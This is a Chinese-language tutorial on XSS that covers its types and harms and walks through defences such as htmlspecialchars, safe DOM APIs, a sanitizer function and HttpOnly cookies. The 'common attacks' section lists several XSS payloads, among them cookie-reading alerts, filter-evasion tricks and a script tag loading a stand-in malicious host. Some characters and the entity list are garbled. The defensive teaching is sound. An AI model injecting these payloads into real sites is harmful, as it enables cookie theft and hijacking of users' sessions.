了解与防御XSS攻击
一. XSS是什么
XSS攻擊全稱跨站腳本攻擊(Cross Site Scripting),是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中?!癤SS本質是在于執行腳本(javascript/html等),而一個javascript就可以讓你黑遍整個世界”。
二. XSS的危害
- 盜取用戶Cookie。
- DOS(拒絕服務)客戶端瀏覽器。
- 釣魚攻擊,高級的釣魚技巧。
- 刪除目標文章、惡意篡改數據、嫁禍。
- 劫持用戶Web行為,甚至進一步滲透內網。
- 爆發Web2.0蠕蟲。
- 蠕蟲式的DDoS攻擊。
- 蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據
- 其它安全問題
三.XSS的分類
XSS分為反射型,存儲型和DOM型。
(1)
反射型 XSS :
用戶在頁面輸入框中輸入數據,通過 get 或者 post 方法向服務器端傳遞數據,輸入的數據一般是放在 URL 的 query string 中,或者是 form 表單中,如果服務端沒有對這些數據進行過濾、驗證或者編碼,直接將用戶輸入的數據呈現出來,就可能會造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常較小,但是某些反射型 XSS 還是會造成嚴重后果的。?通常通過構造一個包含 XSS 代碼的 URL,誘導用戶點擊鏈接,觸發 XSS 代碼,達到劫持訪問、獲取 cookies 的目的。
發出請求時,XSS代碼出現在URL中,作為輸入提交到服務器端,服務器端解析后響應,XSS代碼隨響應內容一起傳回給瀏覽器,最后瀏覽器解析執行XSS代碼。這個過程像一次反射,故叫反射型XSS。
攻擊步驟:
1.攻擊者構造出特殊的 URL,其中包含惡意代碼。
2.用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
3.用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
4.惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。
反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。
由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。
POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,并引導用戶點擊),所以非常少見。
(2)
?
存儲型XSS:
存儲型XSS和反射型XSS的差別僅在于,提交的代碼會存儲在服務器端(數據庫,內存,文件系統等),下次請求目標頁面時不用再提交XSS代碼
最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數據庫,目標用戶查看留言板時,那些留言的內容會從數據庫查詢出來并顯示,瀏覽器發現有XSS代碼,就當做正常的HTML與Js解析執行,于是觸發了XSS攻擊。
攻擊步驟:
1.攻擊者將惡意代碼提交到目標網站的數據庫中。
2.用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。
3.用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
4.惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。
這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。
(3)
DOM型:
DOM 是一個樹形結構,我們可以通過寫 js 代碼來修改節點,對象和值。DOM XSS 簡單理解就是它的輸出點在 DOM 。XSS 代碼可能是插入簡單的<script src="https://test.com/haker.js">,載入第三方的惡意腳本,這些惡意腳本,通常是讀取用戶的 cookie 。
DOM XSS和反射型XSS、存儲型XSS的差別在于DOM XSS的代碼并不需要服務器參與,觸發XSS靠的是瀏覽器端的DOM解析,完全是客戶端的事情。
攻擊步驟:
1.攻擊者構造出特殊的 URL,其中包含惡意代碼。
2.用戶打開帶有惡意代碼的 URL。
3.用戶瀏覽器接收到響應后解析執行,前端 JavaScript 取出 URL 中的惡意代碼并執行。
4.惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。
四.常見的XSS攻擊方式
(1)<script>alert('XSS')</script>?? 最普通的XSS
(2)<script>alert(document.cookie)</script>? 獲取cookie
?? (3)?? <img src ="javascript:alert('XSS')">??? img鏈接地址xss
?? (4)?? <script src='ls.js'></script>??? 外部攻擊代碼
?? (5)?? <script>alert/*注釋*/('XSS')</script>??? 注釋方法防止過濾
?? (6)?? <img src = ' ' οnerrοr=alert('XSS')>??? 加載圖像失敗執行
?? (7)?? <iframe onload = alert('XSS')>??? 框架
?? (8)?? <script>location = 'baidu.com';</script>??? 跳轉某頁面
?? (9)?? <a href ="javascript:alert('XSS')"></a>?? a鏈接的xss
?? (10)? body{bockground-image:url(javascript:alert('XSS'))}?? 在css樣式中加入
五.防御方法
以我之前的一個簡單留言板作為示例:
?
每次打開打開這個頁面都會彈出這個alert。這種XSS攻擊為存儲型 ,那需要怎樣預防呢?
1. 轉義HTML
php有內置的方法:
htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體。
預定義的字符是:
- & (和號)成為 &
- " (雙引號)成為 "
- ' (單引號)成為 N/A
- < (小于)成為 <
- > (大于)成為 >>
在代碼中加入第二行就可以啦
$messcontent = $_POST['mescontent']; $messcontent = htmlspecialchars($messcontent);?然后會出現報錯,不會出現XSS攻擊。
?
?<script>alert('XSS')</script> 已經被htmlspecialchars()轉換成 <script>alert(/XSS/)<script>
?
2.純前端渲染
純前端渲染的過程:
1.瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
2.然后瀏覽器執行 HTML 中的 JavaScript。
3.JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。
在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。
在很多內部、管理系統中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。
3.預防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。
在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。
4.輸入內容長度控制
對于不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。
?
5.對用戶輸入數據的處理
通過一個例子講解一下如何處理用戶輸入的數據。
實現原理如下:
?
<script src='/javascripts/htmlparse.js'></script> <script src='/javascripts/he.js'></script> // 第三方庫資源在文章底部給出// parse函數實現如下function parse (str) {// str假如為某個DOM字符串// 1. result為處理之后的DOM節點let result = ''// 2. 解碼let decode = he.unescape(str, {strict: true})HTMLParser(decode, {start (tag, attrs, unary) {// 3. 過濾常見危險的標簽if (tag === 'script' || tag === 'img' || tag === 'link' || tag === 'style' || tag === 'iframe' || tag === 'frame') returnresult += `<${tag}`for (let i = 0; i < attrs.length; i++) {let name = (attrs[i].name).toLowerCase()let value = attrs[i].escaped// 3. 過濾掉危險的style屬性和js事件if (name === 'style' || name === 'href' || name === 'src' || ~name.indexOf('on')) continueresult += ` ${name}=${value}`}result += `${unary ? ' /' : ''} >`},chars (text) {result += text},comment (text) {result += `<!-- ${text} -->`},end (tag) {result += `</${tag}>`}})return result}因此,有了以上的parse函數之后,就可以避免大部分的xss攻擊了。
稍微總結一下
?
?
6.其他安全措施
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此 Cookie。
驗證碼:防止腳本冒充用戶提交危險操作。
?
總結
以上是生活随笔為你收集整理的了解与防御XSS攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: c++计算eigen随笔(9)-数组、矩
- 下一篇: 深入理解call、apply、bind(